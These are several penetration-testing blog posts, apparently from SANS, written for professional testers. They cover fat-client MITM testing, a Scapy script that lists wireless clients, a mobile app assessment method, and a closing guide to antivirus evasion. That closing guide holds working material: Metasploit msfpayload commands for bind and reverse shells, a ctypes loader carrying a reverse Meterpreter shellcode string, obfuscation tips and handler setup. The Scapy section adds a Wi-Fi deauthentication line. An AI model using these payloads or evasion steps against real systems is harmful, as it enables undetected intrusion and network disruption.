A last resort is to tamper with the application and modify it to allow what we need. With Java WebStart applications, this is a bit too easy as we can drop classes from the signed applet and Java is willing enough to search for them from the Internet (forgetting to validate the substitute classes). Otherwise hooking function calls or binary patching the application is possible (but so far the standard certificate based approaches have been enough in our experiences).

Now that we’ve handled fooling the client to trust us, we still have to cover how to actually get the traffic to our proxy tool in cases where the fat client does not trust the proxy configurations. With mobile apps, we tend to set our laptop as an access point and use iptables to transfer the traffic to Burp (in invisible proxy mode). With desktop computers, a laptop with two NICs and similar iptables configuration and DHCP server has usually been sufficient.

The toughest target we’ve faced so far has been a payment terminal that was hooked with a cross-over cable to a cash register with static IPs configured on both ends, along with a proprietary communications protocol (and total silence towards the network apart from a self-initiated SSL connection). This situation required my laptop to be configured as a bridge doing some heavy iptables kung-fu to MITM the traffic properly so that all traffic seemed legitimate on both ends. The protocol needed custom decoding for viewing and recalculating checksums and length fields during re-encoding after modifications. Also the testing required a lot of manual labor and visually inspecting the payment terminals behavior after each attack.  But, the overall approach described above was the same.

The juicy stuff

In some cases, being able to even perform the MITM attack has been a small victory. However, this is only a pre-requirement for pen testing. With the infrastructure in place and the extender module more or less working, I have discovered quite a bit of interesting vulnerabilities, which you should also search for when conducting such tests, including:

– Very often, the client does not validate server certificates
– Client certificates are usually not used
– Some clients can be dropped to unencrypted traffic by simply modifying target URLs on JNLP configurations
– Broken authentication – user ID is sent along with requests and can naturally be modified on transit
– Insecure Direct Object References (IDOR), e.g., accessing other people’s data
– Missing access control allows unauthorized modification of data (just change the IDOR on update request)
– GUI restrictions are trusted – crashes and stack traces are all over when modifying “unmodifiable” fields
– The information sent back to the client can contain a lot more than the user is actually shown. Even the whole dataset can be transferred and fat client displays only the “user accessible” part
– Path traversal on retrieving PDF files gave me even a web server’s private key for SSL certificate along with a bunch of password containing configuration files
– SQL injection – seeing a raw SQL query in serialized communication is practically a guarantee of vulnerability and should be vigorously exploited if allowed in the rules of engagement and scope

Here are some tips and tricks for getting the most out of the Burp extender module:

– Use the registerMenuItem method of Burp Extender API to implement loading of the newly obtained Java classes on-the-fly
– Similarly you can reload the extender module itself at least if it is implemented in Python or Ruby
– Inject HTTP header to the message when de-serializing to indicate it must be re-serialized before sending along
– Use the action ACTION_DO_INTERCEPT_AND_REHOOK when processing a response that is to be viewed by a proxy and re-serialized only after that

Conclusions

Testing server implementations that are using fat clients can be even more rewarding than traditional web application pen testing. A notable difference to traditional web applications is that the trust in client restrictions and validations is usually taken one step further. The client is trusted to provide valid data and to hide the data the user should not be able to access.

Common vulnerabilities discovered during testing fat client applications utilizing serialized data communication are surprisingly well covered by the OWASP Top Ten project. A lot of the vulnerabilities fall into business logic category but server compromises are also what we aim for, usually with success.

–Miika Turkia

Breach-Zilla: Lessons Learned from Large-Scale Breaches – Slides

[As promised, here are the slides from the presentation I did on Friday in New York City regarding large-scale breaches and lessons learned. I hope you find them useful.  The description of the talk follows.  The slides have more details.

By the way, if you are interested in this kind of thing, specifically the in-depth details behind modern computer attacks, I’ll be teaching my SANS 560 course on Network Penetration Testing and Ethical Hacking in New York City November 7-12.  This course will be taught community style, which is really cool.  With community-style SANS, you’ll get:

– Extra hands-0n exercises in bootcamp form to help hammer home vital concepts.

– Smaller class sizes… often, I have 50 to 80 folks in the room.  For this class, we’ll have 20 to 30, letting the instructor get more time with students.

– A lower price… this is the lowest price SANS has for me teaching my course all year round.

– Fun nights out… I’ll be going out with students for dinners at least two nights that week.  While I can’t pay for your meal, I can promise you that we’ll have a lot of fun over some truly wonderful dinners.

This is gonna be a lot of fun.  What’s not to like?  If you are interested, you can sign up here by clicking on the Register button: http://www.sans.org/new-york-2011-cs-3/description.php?cid=9117

–Ed.]

By Ed Skoudis

Skoudis-BreachZilla – LessonsLearnedFromBreaches 4Q11r

We’ve all seen the blaring headlines and news stories providing a glimpse into large-scale enterprise breaches of millions accounts. But, the accompanying news articles typically lack enough details for security personnel to learn lessons that can help them avoid a similar fate. In this presentation, Ed Skoudis will fill the gap by discussing in-depth lessons learned from the over one hundred large-scale breach cases he has worked. In particular, this session will focus on strategies and tactics, with an emphasis on real-world applicability to enterprise environments of various scales. What are the most common breach vectors analysts should focus on?  What are some of the salient issues in these investigations?  These questions and more are addressed in this lively talk.

Special Request: Wireless Client Sniffing with Scapy

[Editor comment: Dude! A Scapy article by Josh Wright that can help us stay in scope and follow rules of engagement in a pen test? What’s not to like?  :)  –Ed.]

By Joshua Wright

I participate on the Scapy mailing list, helping out with questions where I am able. Recently, I saw a question that piqued my interest:
“What I’m looking to do is identify the MAC addresses of client devices without actually sniffing any packets containing actual data relating to website content, email content etc. […] Are there any packets I could look at that would contain the MAC of client devices but not contain any online usage data as outlined?”

If we want to investigate the presence of wireless client devices but want to avoid capturing any data frames, we can focus on management frames. WiFi networks use management frames to establish a connection to the network, disconnect from the network, and more. Three management frames are easily distinguishable as being sent by client devices only:

– Probe Request Frames
– Association Request Frames
– Reassociation Request Frames

Using Scapy, it is easy to write a little Python that checks for the IEEE 802.11 type field to determine if a frame is a management frame, then examine the subtype field to determine if it is one of the three only sent by client devices.

First, we need to put a wireless card interface into monitor mode, as shown:

root@bt:~# airmon-ng start wlan0
Interface      Chipset        Driver
wlan0          Ralink RT2870/3070 rt2800usb - [phy0]
                           (monitor mode enabled on mon0)

With the mon0 interface receiving packets in monitor mode, we can run the following Scapy script. I’ve added a lot of comments in the script to help explain what is happening.

#!/usr/bin/env python
# The previous line ensures that this script is run under the context
# of the Python interpreter. Next, import the Scapy functions:
from scapy.all import *
# Define the interface name that we will be sniffing from, you can
# change this if needed.
interface = "mon0"
# Next, declare a Python list to keep track of client MAC addresses
# that we have already seen so we only print the address once per client.
observedclients = []
# The sniffmgmt() function is called each time Scapy receives a packet
# (we'll tell Scapy to use this function below with the sniff() function).
# The packet that was sniffed is passed as the function argument, "p".
def sniffmgmt(p):
    # Define our tuple (an immutable list) of the 3 management frame
    # subtypes sent exclusively by clients. I got this list from Wireshark.
    stamgmtstypes = (0, 2, 4)
    # Make sure the packet has the Scapy Dot11 layer present
    if p.haslayer(Dot11):
        # Check to make sure this is a management frame (type=0) and that
        # the subtype is one of our management frame subtypes indicating a
        # a wireless client
        if p.type == 0 and p.subtype in stamgmtstypes:
            # We only want to print the MAC address of the client if it
            # hasn't already been observed. Check our list and if the
            # client address isn't present, print the address and then add
            # it to our list.
            if p.addr2 not in observedclients:
                print p.addr2
                observedclients.append(p.addr2)
# With the sniffmgmt() function complete, we can invoke the Scapy sniff()
# function, pointing to the monitor mode interface, and telling Scapy to call
# the sniffmgmt() function for each packet received. Easy!
sniff(iface=interface, prn=sniffmgmt)

Next, we simply run the script:

# python client-nodata-enum.py
WARNING: No route found for IPv6 destination :: (no default route?)
88:c6:63:fa:de:d9
00:26:b0:75:ef:f5
00:1f:3a:4f:a2:be
58:1f:aa:ba:77:fe
0c:74:c2:5e:25:11
60:33:4b:f0:43:34
f4:0b:93:04:b5:d9
90:4c:e5:60:61:2e
8c:58:77:90:a0:da
00:21:5c:7e:70:c3
From here, lots of opportunities become available. For example, we could disconnect each client from the network by adding the following line after the print statement:
sendp(RadioTap()/Dot11(type=0,subtype=12,addr1=p.addr2,addr2=p.addr3,addr3=p.addr3)/Dot11Deauth())

We might do this in a penetration test to gently disconnect each user from the network once while capturing the activity to observe the EAP types in use (since clients reconnect automatically, this will typically have little impact to the network, but it’s a good idea to ensure your customer is prepared for a potential outage if clients do not reconnect gracefully).

I’m not sure why the original request wanted to obtain a list of client MAC addresses without looking at data frames, but it’s a simple task with Scapy. In SANS SEC617: Wireless Ethical Hacking, Penetration Testing, and Defenses, we spend a good amount of time on Scapy with an emphasis on wireless fuzzing, while the Advanced Penetration Testing SEC660 course leverages Scapy for a number of wired-side attack techniques.
You can grab the script in this module, without comments, from my website at http://www.willhackforsushi.com/code/client-nodata-enum.py.
-Josh

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Mobile Application Assessments – Attack Vectors and Arsenal Inventory

[Editor comment: This is the first post of an in-depth series by three skilled pen testers and great authors, focused on assessing mobile application and their associated infrastructure.  The series will unfold over the next month or two.  We start, naturally enough, with the overall methodology, a description of attack vectors, and an inventory of the items you’ll need to conduct such tests.  Really useful stuff –Ed.]

By Pieter Danhieux, Erik Van Buggenhout, and Koen Van Beirendonck

Introduction

During the past few years, we’ve seen mobile devices evolve from simple, rather dumb phones to complete, integrated communication devices.  As these devices became more intelligent (“smart” phones) and data transfer speeds on mobile networks increased significantly, people no longer used them solely for making phone calls or sending text messages, but started using them for sending email, browsing the Internet, playing games, checking-in for flights, or doing online banking transactions.

Companies started creating mobile applications to offer all sorts of services to their clients.  Today, mobile applications are available for storing and synchronizing data files in the cloud, participating in social network sites, or even playing with a talking crazy frog.  As the data that is stored, processed, and transferred by these applications can often be considered sensitive, it is important to ensure that the security controls on these mobile devices and applications is effective.

We see that the industry understands the need for methodologies (like the OWASP mobile project) and specialised tools to direct the sometimes-specific requirements of mobile applications.  However, up until now, most of these initiatives are still quite draft and not ready to use out-of-the box.

Therefore, over the next two months or so, we will publish several blog posts aimed at giving you some tips and tricks in assessing mobile applications and their associated infrastructures based on lessons learned from our own experience.  We’ll give you a heads up on the different attack vectors for mobile applications and the typical attention points/vulnerabilities for each vector.  Furthermore, we’ll give you a practical example of how security assessments for the four big mobile platforms (Windows Mobile, Blackberry, Apple’s IOS, and Google’s Android) can be performed.

 

Attack Vectors

When we have a look at the architecture of most mobile applications, we can clearly identify three major components that support different attack vectors:

–          Client software running on the mobile device

–          Communications channel

–          Server side infrastructure

For each of these three attack surfaces, we’ll give a short description and some attention points to focus on when looking for potential vulnerabilities.  These attention points act as an inventory or checklist of vital items for penetration testers and vulnerability assessment personnel to analyze in each aspect of the mobile application environment.  While the attention points included below are not exhaustive, they do provide the most fertile hunting grounds for exploitable vulnerabilities.

Client Software on Mobile Device

Usually, a client software package is installed locally on the mobile device which acts as the front-end for the user.  Packages are typically downloaded from an app store or market,  or provided via the company’s website.  Similar to non-mobile software, these applications can contain a myriad of vulnerabilities.  It is important to note that most testing on the client device usually requires a device that is rooted or jailbroken.  For example, the authentic mobile OS will most likely prevent you from having access to all files and folders on the local file system.  Furthermore, as software packages can often be decompiled, tampered with or reverse engineered, you may want to use a device that does not pose any restrictions on the software that you can install.

Attention points:

–          Files (temporary, cached, configuration, databases, etc.) on the local file system

–          Insecure file permissions

–          Application authentication & authorization

–          Error handling & session management

–          Business logic testing

–          Decompiling, analyzing and modifying the installation package

–          Client-side injections

Communications Channel

The second attack surface is the communications channel between the client and the server.  Although applications use more and more secured communications for sending sensitive data, this is not always the case.  In your testing infrastructure, you will want to include an HTTP manipulation proxy to intercept and alter traffic.  If the application does not use the HTTP protocol for its communication, you can use a transparent TCP and UDP proxy like the Mallory tool.  By using a proxy, you can intercept, analyze, and modify data that is communicated between the client and the server.

Attention points:

–          Replay attack vulnerabilities

–          Secure transfer of sensitive information

–          Server-side validation of input data

–          Session ID vulnerabilities

Server-Side Infrastructure

In most cases, the server to which the client communicates is one or more web servers.  The attack vectors for the web servers behind a mobile application is similar to those we use for regular web sites.  Aside from looking for vulnerabilities in the web application, you should also perform host and service scans on the target system(s) to identify running services, followed by a vulnerability scan to identify potential vulnerabilities, provided that such testing is allowed within the scope of the assignment (it should be, but make sure you check!).

Attention points:

–          OWASP Top 10 Vulnerabilities

–          Running services and versions

–          Infrastructure vulnerability scanning

 

Preparing The Test Environment

The following are vital parts of your test environment for assessing mobile applications and their associated infrastructure:

Client-Side Assessment

1. Mobile device / Mobile device emulator

If available, we would always opt to use the original (jailbroken) mobile device for performing our testing activities. We understand, however, that this is not always a feasible option, so an emulator is an acceptable alternative.

Example emulators for popular mobile client systems include Google Android Emulator, MobiOne, iPhoney, and the Blackberry Simulator.

2. Decompiler

We recommend that you get an appropriate decompiler in order to decompile the binary application files. During black-box engagements, decompilation is essential in order to have a good understanding of how the application internals work.

Example decompilers for mobile applications include Reflector.NET (Windows Mobile), otool and class-dump-x (iPhone), dex2jar and JD-Gui (Android), and Coddec (Blackberry).

3. Code analysis tools (optional)

Once the application code has been successfully decompiled, we can consider using a code analysis tool in order to identify vulnerabilities in the application source code.

Examples of such tools include Klocwork Solo, Flawfinder, Clang, and more.

 

Communication Channel / Server-Side Assessment

4. Proxy

The proxy will work as a “Man-in-The-Middle” between the mobile device and the server. It will allow us to intercept and modify traffic in order to facilitate testing.

Example proxy tools for manipulating traffic include the Burp Suite, WebScarab, Paros, Charles (all of which are web-focused) and Mallory (a more general transparent TCP and UDP proxy tool).

5. Web application vulnerability scanner (optional)

In order to test the application server, it can be a good idea to have a web application vulnerability scanner handy. After all, many of the common vulnerabilities are identical to web application issues and can thus be detected by (semi-)automated scanners. Please note that most of these scanners are commercial and some boast rather expensive license packages.

Example scanners include BurpSuite Active Scanner, Acunetix, Cenzic Hailstorm, IBM AppScan, and HP WebInspect.

So far, we have discussed a generic view of attack surfaces and tools for your arsenal in assessing mobile applications. In the next post in this series, we’ll present a more detailed look at client-side assessments on Windows Mobile and Applie’s iPhone.

Tips for Evading Anti-Virus During Pen Testing

By Mark Baggett, the SANS Institute

You know the old saying… “Give a man a backdoor undetected by antivirus and he pwns for a day.  Teach a man to make backdoors undetected by antivirus and you will get free drinks for life at DEF CON.”

During the exploitation phase of a pen test or ethical hacking engagement, you will ultimately need to try to cause code to run on target system computers.  Whether accomplished by phishing emails, delivering a payload through an exploit, or social engineering, running code on target computers is part of most penetration tests.  That means that you will need to be able to bypass antivirus software or other host-based protection for successful exploitation.  The most effective way to avoid antivirus detection on your target’s computers is to create your own customized backdoor.  Here are some tips for creating your own backdoors for use in penetration testing:

TIP #1:  Do your reconnaissance.   Know what antivirus software target system personnel are running.   While it is certainly possible to make a backdoor that evades all antivirus software products, there is no need to waste those cycles if your target is only running one product, a significant likelihood.  Narrow down your options by getting this information from target system personnel by asking, looking for information leakage such as e-mails footers that proclaim the AV product, or even a friendly social engineering phone call if such interaction is allowed in your rules of engagement.

TIP #2:  If you want to use your backdoor for more than one project, do not submit it to virustotal.com or any of the other online sandboxes/scanner that work with antivirus software companies to generate new signatures.  Instead, buy a copy of the antivirus product used by your target organization and test it on your own systems.  Alternatively if your target is using one of the nine AV products scanned by VirusNoThanks, you could use http://vscan.novirusthanks.org/ and be sure to select “Do no distribute the sample” at the bottom of the page.

TIP #3:  KISS – Keep it simple, shell-boy.  I’m a minimalist when it comes to remote access.  I just need enough to get in, disable antivirus (if the rules of engagement will allow it), and then move in with more full-featured tools.  This approach requires less coding on my part and there is less of a chance that I will incorporate something that antivirus doesn’t like.

TIP #4:  You don’t have to COMPLETELY reinvent this wheel.  Metasploit has templates in the data/templates/src directory for DLLs, EXEs, and Windows Services.   Start with them and modify them only as required to avoid your target’s defenses.   For example:

$ cat data/templates/src/pe/exe/template.c
#include &lt;stdio.h&gt;
#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";
char comment[512] = "";

int main(int argc, char **argv) {
        (*(void (*)()) payload)();
        return(0);
}

You can set the payload[SCSIZE] array to any shell code that meets your needs and compile it.  There are plenty of options out there for shell code.  You can get several examples of shell code from exploit-db (http://www.exploit-db.com/shellcode/) and many of them do not trigger antivirus software.  Or, you can also use msfpayload or msfvenom from Metasploit to generate C shell code and plug that into the template.  For example:

$ ./msfpayload windows/shell_bind_tcp C

This generates C shell code to bind a shell to TCP port 4444.   Compile it, and check to see if the AV product running in your lab detects it.  If the compiled program is detected, you have a lot of flexibility in source code.   You can try:

–        Moving part of your shell code to a different data segment

–        Compile it to different PE, Old EXE, or COM (yes… I said .COM) formats

–        Break the shell code up into smaller strings and mix the order in the source code.  Then reassemble it into a variable in memory in the correct order before calling it

–        Use timed events or wait() functions to delay the payload execution to avoid heuristic engines

–        Create your own simple encoding engine to mask the bytes… it is easier than you think! Check out http://www.cprogramming.com/tutorial/xor.html

I like writing in Python, then using pyinstaller to create an exe out of my Python script.    Here is a Python template I wrote that does the same thing as the C template provided with Metasploit:

from ctypes import *

shellcode = '<-ascii shell code here ex: \x90\x90\x90->’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

If you want to use a Metasploit payload as your shell code, you can easily turn C source into a Python-compatible string by deleting all the double quotes and new lines using the handy tr command as follows:
$ ./msfpayload windows/shell_bind_tcp C  | tr -d '"' | tr -d '\n'

If you generate a multi-stage payload, just grab the string for stage one.  For example, to create a Metasploit framework reverse Meterpreter, I would do the following:

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 C | tr -d '"' | tr -d '\n' | more

Then grab the string produced for STAGE1 and plug it into my template as follows:

from ctypes import *

shellcode = '\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3’

memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

Next, I'll compile my new backdoor with pyinstaller with the following options:
$ python configure.py
$ python makespec.py --onefile --noconsole shell_template.py
$ python build.py shell_template\shell_template.spec

To use the new payload we setup the Metasploit framework with the multi-handler “exploit”.    Once our program is run on the target, it connects back to the framework where stage2 is delivered.

msf > use multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 127.0.0.1 LHOST => 127.0.0.1
msf  exploit(handler) > exploit

I hope you find these techniques useful as you help organizations better understand their security risks and improve their defenses through your penetration testing work!